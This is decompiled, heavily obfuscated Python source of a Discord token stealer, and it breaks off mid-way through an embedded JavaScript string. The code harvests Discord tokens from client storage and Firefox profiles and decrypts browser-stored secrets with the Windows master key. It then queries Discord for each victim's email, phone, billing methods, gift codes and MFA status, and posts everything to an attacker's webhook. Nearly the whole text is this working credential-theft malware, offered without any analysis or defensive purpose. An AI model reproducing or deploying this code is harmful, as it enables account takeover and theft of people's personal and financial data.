WXDTRWCGOHYAALABBBKIQJZMUACNYNKYYFLFHMLUXLBTSGJNVUCQGXBAQWRFOGUNXBLXCZHFLFOHLPVBYIM
EOQFRTAJQQ)

[Link](XBXF
QWCLDXTPWIWURUTKKPYGRBVTIEHFEJBNAKOLJVJUICALMWKGGJSFLUTAGOQLXAGGFNJBRVIMOCJJBSCGQDP
HDG)

HBLRWNLKBAVQRWNAGLZTGGWMWDKXUPGALEMFLWOMECAZPRWBKCMQMDDZMOVPNZFLAVBAYOI[NHQWXDTRWCG
OHYAALABBBKIQJZMUACNYNKYYFLFHMLUXLBTSGJNVUCQGXBAQWRFOGUNXBLXCZHFLFOHLPVBYIMEOQFRTAJ
QQ] =
(RXGRHBZVGSWYWVJGNHFKQCXVNWDLWCPFLQWNVECEXMAIQLUJHTKLWTTQNFYSADLYSUVUYQJITKFKDZQFNX
SSMRYLCZJHLFP,
f'{JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKPOK
NESZPRJLKCRSNDSFR}\\{v4r_file_name}')
else: # inserted
for v4r_file_name in
[Link](JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNS
OAKOKPOKNESZPRJLKCRSNDSFR):
if v4r_file_name[(-3):] not in ('log', 'ldb'):
continue
with
open(f'{JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAK
OKPOKNESZPRJLKCRSNDSFR}\\{v4r_file_name}', errors='ignore') as v4r_file:
for v4r_line in v4r_file:
for
NHQWXDTRWCGOHYAALABBBKIQJZMUACNYNKYYFLFHMLUXLBTSGJNVUCQGXBAQWRFOGUNXBLXCZHFLFOHLPVB
YIMEOQFRTAJQQ in
[Link](ZAYCNMORBODYOOKQYRHHQGFLJEQBTJWXUIXLIIUEYYBLFUUVMGSZLHOWMYQYQSGNXOHWDRWS
ZMZUBJRQSMFCGQCZHUALGWFWPMM, v4r_line.strip()):
if
validate_t0k3n(NHQWXDTRWCGOHYAALABBBKIQJZMUACNYNKYYFLFHMLUXLBTSGJNVUCQGXBAQWRFOGUNX
BLXCZHFLFOHLPVBYIMEOQFRTAJQQ,
QTASNMFAKZTDLIAXNXAZTWAUFXRVHZSNGJCJAHJMMFOCUXPQHYLMRBDKXYPEGSFLVXIFMMPDQXTZZTAAEPF
CXHSC):

XBXFQWCLDXTPWIWURUTKKPYGRBVTIEHFEJBNAKOLJVJUICALMWKGGJSFLUTAGOQLXAGGFNJBRVIMOCJJBSC
GQDPHDG =
[Link](QTASNMFAKZTDLIAXNXAZTWAUFXRVHZSNGJCJAHJMMFOCUXPQHYLMRBDKXYPEGSFLVXIFMM
PDQXTZZTAAEPFCXHSC, headers={'Authorization':
NHQWXDTRWCGOHYAALABBBKIQJZMUACNYNKYYFLFHMLUXLBTSGJNVUCQGXBAQWRFOGUNXBLXCZHFLFOHLPVB
YIMEOQFRTAJQQ}).json()['id']
if
XBXFQWCLDXTPWIWURUTKKPYGRBVTIEHFEJBNAKOLJVJUICALMWKGGJSFLUTAGOQLXAGGFNJBRVIMOCJJBSC
GQDPHDG not in
ZEZWGPBJVTZXAZKALMWCQTIVFAELXLONENOGOVZZBYLMQSTOHIVXJCJVWQQSQCVBIRGUCAS:

[Link](NHQ
WXDTRWCGOHYAALABBBKIQJZMUACNYNKYYFLFHMLUXLBTSGJNVUCQGXBAQWRFOGUNXBLXCZHFLFOHLPVBYIM
EOQFRTAJQQ)

[Link](XBXF
QWCLDXTPWIWURUTKKPYGRBVTIEHFEJBNAKOLJVJUICALMWKGGJSFLUTAGOQLXAGGFNJBRVIMOCJJBSCGQDP
HDG)

HBLRWNLKBAVQRWNAGLZTGGWMWDKXUPGALEMFLWOMECAZPRWBKCMQMDDZMOVPNZFLAVBAYOI[NHQWXDTRWCG
OHYAALABBBKIQJZMUACNYNKYYFLFHMLUXLBTSGJNVUCQGXBAQWRFOGUNXBLXCZHFLFOHLPVBYIMEOQFRTAJ
QQ] =
(RXGRHBZVGSWYWVJGNHFKQCXVNWDLWCPFLQWNVECEXMAIQLUJHTKLWTTQNFYSADLYSUVUYQJITKFKDZQFNX
SSMRYLCZJHLFP,
f'{JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKPOK
NESZPRJLKCRSNDSFR}\\{v4r_file_name}')
if
[Link](DQTTZAVXRVXWBIWBULYUPRSCEELHRYCXDEISJCEWVUYYDUAHOLKWKYXSLXIZPUJMWJDI
SIQXANALDUYFOUZBZYGYAOYGYZ + '\\Mozilla\\Firefox\\Profiles'):
for
JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKPOKNES
ZPRJLKCRSNDSFR, _, v4r_files in
[Link](DQTTZAVXRVXWBIWBULYUPRSCEELHRYCXDEISJCEWVUYYDUAHOLKWKYXSLXIZPUJMWJDISIQXANA
LDUYFOUZBZYGYAOYGYZ + '\\Mozilla\\Firefox\\Profiles'):
for v4r__file in v4r_files:
if v4r__file.endswith('.sqlite'):
with
open(f'{JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAK
OKPOKNESZPRJLKCRSNDSFR}\\{v4r__file}', errors='ignore') as v4r_file:
for v4r_line in v4r_file:
for
NHQWXDTRWCGOHYAALABBBKIQJZMUACNYNKYYFLFHMLUXLBTSGJNVUCQGXBAQWRFOGUNXBLXCZHFLFOHLPVB
YIMEOQFRTAJQQ in
[Link](ZAYCNMORBODYOOKQYRHHQGFLJEQBTJWXUIXLIIUEYYBLFUUVMGSZLHOWMYQYQSGNXOHWDRWS
ZMZUBJRQSMFCGQCZHUALGWFWPMM, v4r_line.strip()):
if
validate_t0k3n(NHQWXDTRWCGOHYAALABBBKIQJZMUACNYNKYYFLFHMLUXLBTSGJNVUCQGXBAQWRFOGUNX
BLXCZHFLFOHLPVBYIMEOQFRTAJQQ,
QTASNMFAKZTDLIAXNXAZTWAUFXRVHZSNGJCJAHJMMFOCUXPQHYLMRBDKXYPEGSFLVXIFMMPDQXTZZTAAEPF
CXHSC):

XBXFQWCLDXTPWIWURUTKKPYGRBVTIEHFEJBNAKOLJVJUICALMWKGGJSFLUTAGOQLXAGGFNJBRVIMOCJJBSC
GQDPHDG =
[Link](QTASNMFAKZTDLIAXNXAZTWAUFXRVHZSNGJCJAHJMMFOCUXPQHYLMRBDKXYPEGSFLVXIFMM
PDQXTZZTAAEPFCXHSC, headers={'Authorization':
NHQWXDTRWCGOHYAALABBBKIQJZMUACNYNKYYFLFHMLUXLBTSGJNVUCQGXBAQWRFOGUNXBLXCZHFLFOHLPVB
YIMEOQFRTAJQQ}).json()['id']
if
XBXFQWCLDXTPWIWURUTKKPYGRBVTIEHFEJBNAKOLJVJUICALMWKGGJSFLUTAGOQLXAGGFNJBRVIMOCJJBSC
GQDPHDG not in
ZEZWGPBJVTZXAZKALMWCQTIVFAELXLONENOGOVZZBYLMQSTOHIVXJCJVWQQSQCVBIRGUCAS:

[Link](NHQ
WXDTRWCGOHYAALABBBKIQJZMUACNYNKYYFLFHMLUXLBTSGJNVUCQGXBAQWRFOGUNXBLXCZHFLFOHLPVBYIM
EOQFRTAJQQ)

[Link](XBXF
QWCLDXTPWIWURUTKKPYGRBVTIEHFEJBNAKOLJVJUICALMWKGGJSFLUTAGOQLXAGGFNJBRVIMOCJJBSCGQDP
HDG)

HBLRWNLKBAVQRWNAGLZTGGWMWDKXUPGALEMFLWOMECAZPRWBKCMQMDDZMOVPNZFLAVBAYOI[NHQWXDTRWCG
OHYAALABBBKIQJZMUACNYNKYYFLFHMLUXLBTSGJNVUCQGXBAQWRFOGUNXBLXCZHFLFOHLPVBYIMEOQFRTAJ
QQ] = ('Firefox',
f'{JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKPOK
NESZPRJLKCRSNDSFR}\\{v4r__file}')
return
(FWWFPBDPLBYXLYLHXWSHGIKOPFWSOEHDWOBBGGAOCCGVSJNAVLPWWTUBEDONLIWHUIVHLTUI,
HBLRWNLKBAVQRWNAGLZTGGWMWDKXUPGALEMFLWOMECAZPRWBKCMQMDDZMOVPNZFLAVBAYOI)

def
validate_t0k3n(NHQWXDTRWCGOHYAALABBBKIQJZMUACNYNKYYFLFHMLUXLBTSGJNVUCQGXBAQWRFOGUNX
BLXCZHFLFOHLPVBYIMEOQFRTAJQQ,
QTASNMFAKZTDLIAXNXAZTWAUFXRVHZSNGJCJAHJMMFOCUXPQHYLMRBDKXYPEGSFLVXIFMMPDQXTZZTAAEPF
CXHSC):
return
[Link](QTASNMFAKZTDLIAXNXAZTWAUFXRVHZSNGJCJAHJMMFOCUXPQHYLMRBDKXYPEGSFLVXIFMM
PDQXTZZTAAEPFCXHSC, headers={'Authorization':
NHQWXDTRWCGOHYAALABBBKIQJZMUACNYNKYYFLFHMLUXLBTSGJNVUCQGXBAQWRFOGUNXBLXCZHFLFOHLPVB
YIMEOQFRTAJQQ}).status_code == 200

def
decrypt_val(QQGGTHZRWABSSJEJAABDYGOSJHWRJJEKVFNUCSUEZWEAPLITEPIVNDDDRXJRKFNZUSFXSKQ
PBXWJYJTBXFZBTZEVKRDQUP,
ARZOSFTXYMYLBZNAKVQQVQIOYACRMWUNIOJIKTYZCCTJQCPXWQKRXEBUGHY):
v4r_iv =
QQGGTHZRWABSSJEJAABDYGOSJHWRJJEKVFNUCSUEZWEAPLITEPIVNDDDRXJRKFNZUSFXSKQPBXWJYJTBXFZ
BTZEVKRDQUP[3:15]
v4r_payload =
QQGGTHZRWABSSJEJAABDYGOSJHWRJJEKVFNUCSUEZWEAPLITEPIVNDDDRXJRKFNZUSFXSKQPBXWJYJTBXFZ
BTZEVKRDQUP[15:]
v4r_cipher =
[Link](ARZOSFTXYMYLBZNAKVQQVQIOYACRMWUNIOJIKTYZCCTJQCPXWQKRXEBUGHY, AES.MODE_GCM,
v4r_iv)
return v4r_cipher.decrypt(v4r_payload)[:(-16)].decode()

def
get_master_key(JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFIS
FYNSOAKOKPOKNESZPRJLKCRSNDSFR):
if not
[Link](JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFIS
FYNSOAKOKPOKNESZPRJLKCRSNDSFR):
return
with
open(JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKP
OKNESZPRJLKCRSNDSFR, 'r', encoding='utf-8') as v4r_f:
v4r_local_state = [Link](v4r_f)
ARZOSFTXYMYLBZNAKVQQVQIOYACRMWUNIOJIKTYZCCTJQCPXWQKRXEBUGHY =
base64.b64decode(v4r_local_state['os_crypt']['encrypted_key'])[5:]
return
CryptUnprotectData(ARZOSFTXYMYLBZNAKVQQVQIOYACRMWUNIOJIKTYZCCTJQCPXWQKRXEBUGHY,
None, None, None, 0)[1]

def upload_t0k3n5():
FWWFPBDPLBYXLYLHXWSHGIKOPFWSOEHDWOBBGGAOCCGVSJNAVLPWWTUBEDONLIWHUIVHLTUI,
HBLRWNLKBAVQRWNAGLZTGGWMWDKXUPGALEMFLWOMECAZPRWBKCMQMDDZMOVPNZFLAVBAYOI =
extr4ct_t0k3n5()

AZJTYMZAEYENVGYPLXVOQHIDKVYVLRHQPCLKIZTIGXNVMTDZPVJHWJWFOSSBYBGZFRKNXWIDVJAXZIMWOR
=
SyncWebhook.from_url(TXGCXACHOWAIDDQSQRJLKQCGMJXMCRPDSEPBQJEAUOATSMWSCVSXMYAQAUUXRX
IAMFFEBCP)
if not
FWWFPBDPLBYXLYLHXWSHGIKOPFWSOEHDWOBBGGAOCCGVSJNAVLPWWTUBEDONLIWHUIVHLTUI:
AQKABTZNMNRQRHEYJLBDNWASWLYFDNURCTITXDISALHGJCQJJAOFCSZXAC =
Embed(title=f'Discord Token
`{OSJMLNKRIZRUYWQUUCJKQQGQXFUVXVDKJLSFFBHASLGKRIBOLWSHVHIJEFLFWBLMBYMKMJGITVQFCUUMX
DWDAP} \"{IGBZGMCTAKALLPSAFQDWPQYPTYUXRSLIFXSTTSECUGHRITFDSOHUIHUTXOGOXZVWVAEUOZNZV
CSTBDBADQYN}\"`:', description='No discord tokens found.',
color=KZQJVODPJWFGGZKARRUBKLCEBVNJFBGJSEAJUZKLCOZGJVSCALVPXPNXACCOARNPHJOXQKEWCFOIH
OWXJCTAHXEGQFSQMNVFUX)

AQKABTZNMNRQRHEYJLBDNWASWLYFDNURCTITXDISALHGJCQJJAOFCSZXAC.set_footer(text=GCXPFMSA
IYEUNUXCQDUWOJPFYLSBKXKXCFCSUHSGSFLBJFRJLPDCBOESCRGUUBMAKYLEKXVLXLPMM,
icon_url=YFAIZFASWSPFINFGUNDFZFUQZAJJZESOMYIKEDUAGSGKJEFGSEFP)

AZJTYMZAEYENVGYPLXVOQHIDKVYVLRHQPCLKIZTIGXNVMTDZPVJHWJWFOSSBYBGZFRKNXWIDVJAXZIMWOR.
send(embed=AQKABTZNMNRQRHEYJLBDNWASWLYFDNURCTITXDISALHGJCQJJAOFCSZXAC,
username=SXZVBIADQBTEKMNSXJFIFIFRJTLSLEIKOIHSBZDQSXPPCZPTUBHLYDEGXNGFRMLVFJNMXVXHCB
PACAWTNFLRWEFDSOILHWHMC,
avatar_url=YFAIZFASWSPFINFGUNDFZFUQZAJJZESOMYIKEDUAGSGKJEFGSEFP)
return
for
NHQWXDTRWCGOHYAALABBBKIQJZMUACNYNKYYFLFHMLUXLBTSGJNVUCQGXBAQWRFOGUNXBLXCZHFLFOHLPVB
YIMEOQFRTAJQQ_d15c0rd in
FWWFPBDPLBYXLYLHXWSHGIKOPFWSOEHDWOBBGGAOCCGVSJNAVLPWWTUBEDONLIWHUIVHLTUI:
PVBEWKDSEDAVXRIXZBBQUZFWQHCOJRAPTOUSXXBPEGBOBDGVJIBW =
[Link]('[Link] headers={'Authorization':
NHQWXDTRWCGOHYAALABBBKIQJZMUACNYNKYYFLFHMLUXLBTSGJNVUCQGXBAQWRFOGUNXBLXCZHFLFOHLPVB
YIMEOQFRTAJQQ_d15c0rd}).json()

QPNXXFKAIULMAILYPFRJUBGHUHXLWYRZVJCMGGAHXYVOPAKSAPLCSSGXXKMBLDVLGDXKADSLQAKJWWXFTHQ
GURGN = [Link]('username',
'None') + '#' +
[Link]('discriminator', 'None')
or ()

RTSIOSXIGTLYNTPLVBWJFDGQSYUMPKBSCHZOKSYVCRUIUQICEOPPYZTEHPUVWELLXRNSHOGXVDBJXW =
[Link]('global_name', 'None')
GRIBMSYUWGVAWVWYQGFEAZFOLZFWFTAGLVPPBDFUCIUTWCJHPZPPKSAOETSJTFJHF =
[Link]('id', 'None')

BSVBRKCFJWKZSHTVDJWVAUACDPYQUBTHLNGOJXBJYOENMXFSGNTTMTJFFQTMOCDOTAJWRGSLOKDFWHCOCZS
MQEOQHYE = [Link]('email',
'None')
ZBNEBXBZATMNAECYQTKVPCCHXRZXWVRXKZFHSTJUYNDGDPBMDMQYKQE =
[Link]('verified', 'None')

XZOYJXDXHJVYPGRYOPXCBGEQDFHVMIAQEXNFMFWFUXTOEERGTCTYQWXYPGSCPYRMWJIFVRWOGQYCMWAYJCK
DGKQDBZQYMWSNDKFO =
[Link]('phone', 'None')
ACQUHXNKHURVGFNGVMGZIBRRBEJTBPRJMKTHVBAGZJRODKGTKGIJXZOE =
[Link]('locale', 'None')
LBUMFZUSESJOLYVAOHRRTAMBCEUQZKMEJDFZWWGDZWJXEGVPUMFKJZEQZEGGPTK =
[Link]('mfa_enabled', 'None')
try:
if
[Link]('premium_type', 'None') ==
0:

UUUKPZKTVCMLKXJJFMJGJOBUUOPUMBWKEENRHSUKJIJPGIAYSQKZHZCFPDMCTDKUIZPFLNSYHJKJXCZ =
'False'
else: # inserted
if
[Link]('premium_type', 'None') ==
1:

UUUKPZKTVCMLKXJJFMJGJOBUUOPUMBWKEENRHSUKJIJPGIAYSQKZHZCFPDMCTDKUIZPFLNSYHJKJXCZ =
'Nitro Classic'
else: # inserted
if
[Link]('premium_type', 'None') ==
2:

UUUKPZKTVCMLKXJJFMJGJOBUUOPUMBWKEENRHSUKJIJPGIAYSQKZHZCFPDMCTDKUIZPFLNSYHJKJXCZ =
'Nitro Boosts'
else: # inserted
if
[Link]('premium_type', 'None') ==
3:

UUUKPZKTVCMLKXJJFMJGJOBUUOPUMBWKEENRHSUKJIJPGIAYSQKZHZCFPDMCTDKUIZPFLNSYHJKJXCZ =
'Nitro Basic'
else: # inserted

UUUKPZKTVCMLKXJJFMJGJOBUUOPUMBWKEENRHSUKJIJPGIAYSQKZHZCFPDMCTDKUIZPFLNSYHJKJXCZ =
'False'
except:

UUUKPZKTVCMLKXJJFMJGJOBUUOPUMBWKEENRHSUKJIJPGIAYSQKZHZCFPDMCTDKUIZPFLNSYHJKJXCZ =
'None'
try:
ZQVGYZIKVNMJSPFWVKEHHKCLLAZLOTIZJKFAPVLSCNSKIFVNYCVSS =
f"[Link]
CJHPZPPKSAOETSJTFJHF}/
{PVBEWKDSEDAVXRIXZBBQUZFWQHCOJRAPTOUSXXBPEGBOBDGVJIBW['avatar']}.gif" if
[Link](f"[Link]
LVPPBDFUCIUTWCJHPZPPKSAOETSJTFJHF}/
{PVBEWKDSEDAVXRIXZBBQUZFWQHCOJRAPTOUSXXBPEGBOBDGVJIBW['avatar']}.gif").status_code
== 200 else
f"[Link]
CJHPZPPKSAOETSJTFJHF}/
{PVBEWKDSEDAVXRIXZBBQUZFWQHCOJRAPTOUSXXBPEGBOBDGVJIBW['avatar']}.png"
except:
ZQVGYZIKVNMJSPFWVKEHHKCLLAZLOTIZJKFAPVLSCNSKIFVNYCVSS =
YFAIZFASWSPFINFGUNDFZFUQZAJJZESOMYIKEDUAGSGKJEFGSEFP
try:

OJNUYJJNAAGORSFHHZYMXJZMOJVIOYEGJGOFMLXLGWAMIDNNUFCHVCYVQKEYHRYJPKNEYXAUB =
[Link]('[Link]
headers={'Authorization':
NHQWXDTRWCGOHYAALABBBKIQJZMUACNYNKYYFLFHMLUXLBTSGJNVUCQGXBAQWRFOGUNXBLXCZHFLFOHLPVB
YIMEOQFRTAJQQ_d15c0rd}).json()
if
OJNUYJJNAAGORSFHHZYMXJZMOJVIOYEGJGOFMLXLGWAMIDNNUFCHVCYVQKEYHRYJPKNEYXAUB:

VGXNFRIVMFEOZOPCGKLNJKNGOKOQDPVBAZDMPRTYWZGGTXMSKFCMGBKOGYNYNKBNQPUKPGPUTIMKHNIUYWA
IWUJOXRO = []
for v4r_method in
OJNUYJJNAAGORSFHHZYMXJZMOJVIOYEGJGOFMLXLGWAMIDNNUFCHVCYVQKEYHRYJPKNEYXAUB:
if v4r_method['type'] == 1:

VGXNFRIVMFEOZOPCGKLNJKNGOKOQDPVBAZDMPRTYWZGGTXMSKFCMGBKOGYNYNKBNQPUKPGPUTIMKHNIUYWA
[Link]('CB')
else: # inserted
if v4r_method['type'] == 2:

VGXNFRIVMFEOZOPCGKLNJKNGOKOQDPVBAZDMPRTYWZGGTXMSKFCMGBKOGYNYNKBNQPUKPGPUTIMKHNIUYWA
[Link]('Paypal')
else: # inserted
VGXNFRIVMFEOZOPCGKLNJKNGOKOQDPVBAZDMPRTYWZGGTXMSKFCMGBKOGYNYNKBNQPUKPGPUTIMKHNIUYWA
[Link]('Other')

VGXNFRIVMFEOZOPCGKLNJKNGOKOQDPVBAZDMPRTYWZGGTXMSKFCMGBKOGYNYNKBNQPUKPGPUTIMKHNIUYWA
IWUJOXRO = ' /
'.join(VGXNFRIVMFEOZOPCGKLNJKNGOKOQDPVBAZDMPRTYWZGGTXMSKFCMGBKOGYNYNKBNQPUKPGPUTIMK
HNIUYWAIWUJOXRO)
else: # inserted

VGXNFRIVMFEOZOPCGKLNJKNGOKOQDPVBAZDMPRTYWZGGTXMSKFCMGBKOGYNYNKBNQPUKPGPUTIMKHNIUYWA
IWUJOXRO = 'None'
except:

VGXNFRIVMFEOZOPCGKLNJKNGOKOQDPVBAZDMPRTYWZGGTXMSKFCMGBKOGYNYNKBNQPUKPGPUTIMKHNIUYWA
IWUJOXRO = 'None'
try:

DSLCTRWUESHBVAMGQDDUDPJKWHDLYMBILRVLHRFMNRHAMXTRTOJOKALQIGXACSAQNVMY =
[Link]('[Link]
headers={'Authorization':
NHQWXDTRWCGOHYAALABBBKIQJZMUACNYNKYYFLFHMLUXLBTSGJNVUCQGXBAQWRFOGUNXBLXCZHFLFOHLPVB
YIMEOQFRTAJQQ_d15c0rd}).json()
if
DSLCTRWUESHBVAMGQDDUDPJKWHDLYMBILRVLHRFMNRHAMXTRTOJOKALQIGXACSAQNVMY:
HPMCUQQOUGSCNOYPKZOYWOLTIBHISRCHZQFDOXAMUGXDGLCYXTVUMTQIPCYII =
[]
for
EYKCBWCQIPWLXPNPQIGDVGNEWTESUEAAQSZMAZSXDAKWZUOTRLWSBWUBSDXISGHZFLSYUDNOUFEJJLDWCL
in DSLCTRWUESHBVAMGQDDUDPJKWHDLYMBILRVLHRFMNRHAMXTRTOJOKALQIGXACSAQNVMY:

RXGRHBZVGSWYWVJGNHFKQCXVNWDLWCPFLQWNVECEXMAIQLUJHTKLWTTQNFYSADLYSUVUYQJITKFKDZQFNXS
SMRYLCZJHLFP =
EYKCBWCQIPWLXPNPQIGDVGNEWTESUEAAQSZMAZSXDAKWZUOTRLWSBWUBSDXISGHZFLSYUDNOUFEJJLDWCL[
'promotion']['outbound_title']

EYKCBWCQIPWLXPNPQIGDVGNEWTESUEAAQSZMAZSXDAKWZUOTRLWSBWUBSDXISGHZFLSYUDNOUFEJJLDWCL
=
EYKCBWCQIPWLXPNPQIGDVGNEWTESUEAAQSZMAZSXDAKWZUOTRLWSBWUBSDXISGHZFLSYUDNOUFEJJLDWCL[
'code']

OAVGGYBXDWTEMQDPQJHCDCNSEROGVJGKYZPZQQEBHWDHMLGAJEBTARKWPUSYJ = f'Gift:
{RXGRHBZVGSWYWVJGNHFKQCXVNWDLWCPFLQWNVECEXMAIQLUJHTKLWTTQNFYSADLYSUVUYQJITKFKDZQFNX
SSMRYLCZJHLFP}\nCode:
{EYKCBWCQIPWLXPNPQIGDVGNEWTESUEAAQSZMAZSXDAKWZUOTRLWSBWUBSDXISGHZFLSYUDNOUFEJJLDWCL
}'
if len('\n\
n'.join(EYKCBWCQIPWLXPNPQIGDVGNEWTESUEAAQSZMAZSXDAKWZUOTRLWSBWUBSDXISGHZFLSYUDNOUFE
JJLDWCL)) - len(OAVGGYBXDWTEMQDPQJHCDCNSEROGVJGKYZPZQQEBHWDHMLGAJEBTARKWPUSYJ) >=
1024:
break

[Link](OAVGGYBXDWTEMQ
DPQJHCDCNSEROGVJGKYZPZQQEBHWDHMLGAJEBTARKWPUSYJ)
if
len(HPMCUQQOUGSCNOYPKZOYWOLTIBHISRCHZQFDOXAMUGXDGLCYXTVUMTQIPCYII) > 0:

EYKCBWCQIPWLXPNPQIGDVGNEWTESUEAAQSZMAZSXDAKWZUOTRLWSBWUBSDXISGHZFLSYUDNOUFEJJLDWCL
= '\n\n'.join(HPMCUQQOUGSCNOYPKZOYWOLTIBHISRCHZQFDOXAMUGXDGLCYXTVUMTQIPCYII)
else: # inserted
EYKCBWCQIPWLXPNPQIGDVGNEWTESUEAAQSZMAZSXDAKWZUOTRLWSBWUBSDXISGHZFLSYUDNOUFEJJLDWCL
= 'None'
else: # inserted

EYKCBWCQIPWLXPNPQIGDVGNEWTESUEAAQSZMAZSXDAKWZUOTRLWSBWUBSDXISGHZFLSYUDNOUFEJJLDWCL
= 'None'
except:

EYKCBWCQIPWLXPNPQIGDVGNEWTESUEAAQSZMAZSXDAKWZUOTRLWSBWUBSDXISGHZFLSYUDNOUFEJJLDWCL
= 'None'
v4r_software_name,
JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKPOKNES
ZPRJLKCRSNDSFR =
[Link](NHQWXDT
RWCGOHYAALABBBKIQJZMUACNYNKYYFLFHMLUXLBTSGJNVUCQGXBAQWRFOGUNXBLXCZHFLFOHLPVBYIMEOQF
RTAJQQ_d15c0rd, ('Unknown Software', 'Unknown location'))
embed = Embed(title=f'Discord Token
`{OSJMLNKRIZRUYWQUUCJKQQGQXFUVXVDKJLSFFBHASLGKRIBOLWSHVHIJEFLFWBLMBYMKMJGITVQFCUUMX
DWDAP} \"{IGBZGMCTAKALLPSAFQDWPQYPTYUXRSLIFXSTTSECUGHRITFDSOHUIHUTXOGOXZVWVAEUOZNZV
CSTBDBADQYN}\"`:',
color=KZQJVODPJWFGGZKARRUBKLCEBVNJFBGJSEAJUZKLCOZGJVSCALVPXPNXACCOARNPHJOXQKEWCFOIH
OWXJCTAHXEGQFSQMNVFUX)
embed.add_field(name=':file_folder: Path:',
value=f'```{JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYN
SOAKOKPOKNESZPRJLKCRSNDSFR}```', inline=True)
embed.add_field(name=':globe_with_meridians: Token:',
value=f'```{NHQWXDTRWCGOHYAALABBBKIQJZMUACNYNKYYFLFHMLUXLBTSGJNVUCQGXBAQWRFOGUNXBLX
CZHFLFOHLPVBYIMEOQFRTAJQQ_d15c0rd}```', inline=True)
embed.add_field(name=':package: Software:',
value=f'```{v4r_software_name}```', inline=True)
embed.add_field(name=':bust_in_silhouette: Username:',
value=f'```{QPNXXFKAIULMAILYPFRJUBGHUHXLWYRZVJCMGGAHXYVOPAKSAPLCSSGXXKMBLDVLGDXKADS
LQAKJWWXFTHQGURGN}```', inline=True)
embed.add_field(name=':bust_in_silhouette: Display Name:',
value=f'```{RTSIOSXIGTLYNTPLVBWJFDGQSYUMPKBSCHZOKSYVCRUIUQICEOPPYZTEHPUVWELLXRNSHOG
XVDBJXW}```', inline=True)
embed.add_field(name=':robot: Id:',
value=f'```{GRIBMSYUWGVAWVWYQGFEAZFOLZFWFTAGLVPPBDFUCIUTWCJHPZPPKSAOETSJTFJHF}```',
inline=True)
embed.add_field(name=':e_mail: Email:',
value=f'```{BSVBRKCFJWKZSHTVDJWVAUACDPYQUBTHLNGOJXBJYOENMXFSGNTTMTJFFQTMOCDOTAJWRGS
LOKDFWHCOCZSMQEOQHYE}```', inline=True)
embed.add_field(name=':white_check_mark: Email Verified:',
value=f'```{ZBNEBXBZATMNAECYQTKVPCCHXRZXWVRXKZFHSTJUYNDGDPBMDMQYKQE}```',
inline=True)
embed.add_field(name=':telephone_receiver: Phone:',
value=f'```{XZOYJXDXHJVYPGRYOPXCBGEQDFHVMIAQEXNFMFWFUXTOEERGTCTYQWXYPGSCPYRMWJIFVRW
OGQYCMWAYJCKDGKQDBZQYMWSNDKFO}```', inline=True)
embed.add_field(name=':rocket: Nitro:',
value=f'```{UUUKPZKTVCMLKXJJFMJGJOBUUOPUMBWKEENRHSUKJIJPGIAYSQKZHZCFPDMCTDKUIZPFLNS
YHJKJXCZ}```', inline=True)
embed.add_field(name=':earth_africa: Language:',
value=f'```{ACQUHXNKHURVGFNGVMGZIBRRBEJTBPRJMKTHVBAGZJRODKGTKGIJXZOE}```',
inline=True)
embed.add_field(name=':moneybag: Billing:',
value=f'```{VGXNFRIVMFEOZOPCGKLNJKNGOKOQDPVBAZDMPRTYWZGGTXMSKFCMGBKOGYNYNKBNQPUKPGP
UTIMKHNIUYWAIWUJOXRO}```', inline=True)
embed.add_field(name=':gift: Gift Code:',
value=f'```{EYKCBWCQIPWLXPNPQIGDVGNEWTESUEAAQSZMAZSXDAKWZUOTRLWSBWUBSDXISGHZFLSYUDN
OUFEJJLDWCL}```', inline=True)
embed.add_field(name=':lock: Multi-Factor Authentication:',
value=f'```{LBUMFZUSESJOLYVAOHRRTAMBCEUQZKMEJDFZWWGDZWJXEGVPUMFKJZEQZEGGPTK}```',
inline=True)
embed.add_field(name=':frame_photo: Profile Picture:', value=f'',
inline=False)

embed.set_image(url=ZQVGYZIKVNMJSPFWVKEHHKCLLAZLOTIZJKFAPVLSCNSKIFVNYCVSS)

embed.set_footer(text=GCXPFMSAIYEUNUXCQDUWOJPFYLSBKXKXCFCSUHSGSFLBJFRJLPDCBOESCRGUU
BMAKYLEKXVLXLPMM, icon_url=YFAIZFASWSPFINFGUNDFZFUQZAJJZESOMYIKEDUAGSGKJEFGSEFP)

AZJTYMZAEYENVGYPLXVOQHIDKVYVLRHQPCLKIZTIGXNVMTDZPVJHWJWFOSSBYBGZFRKNXWIDVJAXZIMWOR.
send(embed=embed,
username=SXZVBIADQBTEKMNSXJFIFIFRJTLSLEIKOIHSBZDQSXPPCZPTUBHLYDEGXNGFRMLVFJNMXVXHCB
PACAWTNFLRWEFDSOILHWHMC,
avatar_url=YFAIZFASWSPFINFGUNDFZFUQZAJJZESOMYIKEDUAGSGKJEFGSEFP)
upload_t0k3n5()
TOVHTBCIOZHKAQXYTWZEJQFKBAXBLNQTXXPHPHJPEFMRSIMONGNGKXVPRAVVNYDRTRA = '\nconst args
= [Link];\nconst fs = require(\'fs\');\nconst path = require(\'path\');\
nconst https = require(\'https\');\nconst querystring = require(\'querystring\');\
